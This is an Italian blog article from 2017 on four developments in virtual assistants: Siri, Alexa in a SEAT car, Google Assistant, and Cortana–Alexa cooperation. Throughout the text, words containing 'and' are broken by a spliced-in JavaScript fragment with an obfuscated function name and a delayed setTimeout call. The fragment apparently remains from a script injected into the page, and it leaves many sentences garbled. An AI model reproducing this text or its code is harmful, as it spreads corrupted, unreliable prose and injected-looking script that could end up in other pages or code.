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Le 4 più Importanti Novità sugli Assistenti Virtuali

Pubblicato il 20 settembre 2017
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siri amazon e cortana propongono novità

Ampliamento delle capacità, voce e risposte umane, interazione e collaborazione: tutte le idee dei Big

Tentare di integrare sempre più funzioni e fare in modo che risultino vicine al sembrare umane: sono questi i principali obiettivi dei colossi del settore tecnologico. Apple, Samsung, Google e molti altri marchi stanno investendo nella crescita di questa tecnologia.

Gli sviluppatori sono alla costante ricerca di perfezionamenti per “l’umanizzazione” di questi sistemi.

Dall’altra parte, i consumatori sono sempre più insofferenti davanti a quelle fastidiose voci robotiche, incapaci di leggere accenti e virgole. Per fortuna, oggi i più celebri assistenti virtuali hanno già fatto grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andi passi avanti.

La tecnologia di tutte queste IDA (Intelligent Digital Assistant) è basata sul general purpose. Il loro scopo (purpose) è quello di poter svolgere meglio dell’uomo il maggior numero di attività possibili e in diversi settori.

L’opposto di questo sistema si dice special purpose. Queste reti neurali sono altamente specializzate oltre che performanti.

Perciò, essendo queste AI dei sistemi del secondo tipo, le loro integrazioni saranno destinate ad ampliarsi, come preannunciano alcuni progetti.

1. Siri diventerà “Umana”

La società di Cupertino è in cerca di emozioni forti per i clienti Apple. Il loro obiettivo, infatti, sarà quello di far avvicinare il più possibile Siri al “diventare umana”.

Questo prevederà l’ampliamento dei suoi caratteri psicologici e l’aggiunta di una “empatia digitale”.

Gli algoritmi si trasformeranno così in un lettore dell’animo del consumatore, che potrà dialogare e confidarsi ricevendo consigli e risposte. Per la sua perfetta riuscita, il colosso assumerà anche un team di psicologi e consulenti personali.

“Le persone parlano seriamente con Siri. Parlano con Siri di ogni sorta di argomento, incluso quandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando hanno avuto una giornata stressante o hanno qualcosa di serio in mente. Si rivolgono a Siri per le emergenze e vogliono indicazioni su come condurre una vita più sana”

Apple si esprime così a riguardo del proprio assistente, accentuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando l’importanza dell’interazione tra quest’ultimo e il cliente.

2. Alexa si imbarca nella Mobilità

Seat si è messa in affari con Amazon ed e riuscita a ottenere il suo assistente virtuale. All’IFA di Berlino 2017 è stata presentata la prima macchina della casa Volkswagen che monterà il software del gigante dell’e-commerce.

Alexa sarà presente per ogni necessità del guidatore, basterà premere il proprio pulsante sul volante. A questo punto, tramite voce, gli si potranno domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare svariati compiti, dall’accendere la radio alle ultime info sul traffico.

Questo rappresenta un importante passo avanti per la sua diffusione. Significa infatti poter slegare questo IDA dalle mura di casa, portandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andolo così in viaggio con sé.

il futuro degli assistetni virtuali, amazon con seat

3. Google Assistant sempre più Intelligente

Google Developer Days di quest’anno sono arrivati con interessanti novità.

Il 5-6 settembre a Cracovia, in Polonia, sono state presentate tutte le innovazioni dell’assistente virtuale:

  1. Sarà possibile inserire varie preferenze personali dell’utente. Ad esempio inserendo la temperatura ideale per andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare a fare una passeggiata. Così il giorno in cui si vorrà uscire, si potrà chiedere a Google Assistant se i gradi sono perfetti.
  2. La traduzione di una frase detta dell’utente verrà automaticamente pronunciata dall’IDA. Ideale per conversare senza frontiere.
  3. L’algoritmo è stato migliorato anche nella propria elaborazione delle domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande, specialmente nella loro contestualizzazione. Domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando come “cerca video di Antonio”, l’assistente ora non andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andrà più su internet, mostrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando i risultati di Antonio Cassano. Si baserà sulle azioni precedenti per capire quale sia la reale richiesta.

Google Assistant ha quindi portato in campo efficaci novità con le potenzialità di modificare l’approccio dei consumatori verso questo mondo digitale.

4. Cortana e Alexa: serata tra amiche

Microsoft collaborerà con il gigante di Seattle con l’intento di far parlare tra di loro i rispettivi assistenti virtuali.

Questo aprirà le porte a un’intensa collaborazione tra le due parti. Grazie a questa scelta sarà possibile eliminare le restrizioni: si potrà accedere ad Alexa dai dispositivi Microsoft e viceversa.

Rompendo le barriere di questa connettività, potranno scambiarsi dati utili riguardo alle preferenze o abitudini dell’utente. Inoltre, Cortana si assicura uno spazio personale all’interno dell’Amazon Echo, l’Home Assistant marchiato Amazon.

E se queste innovazioni sembrano apparentemente lontane da noi, per i grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andi marchi non è che l’inizio delle loro intelligenze artificiali. Cosa succederà?

 

 

 

 

 

 

 

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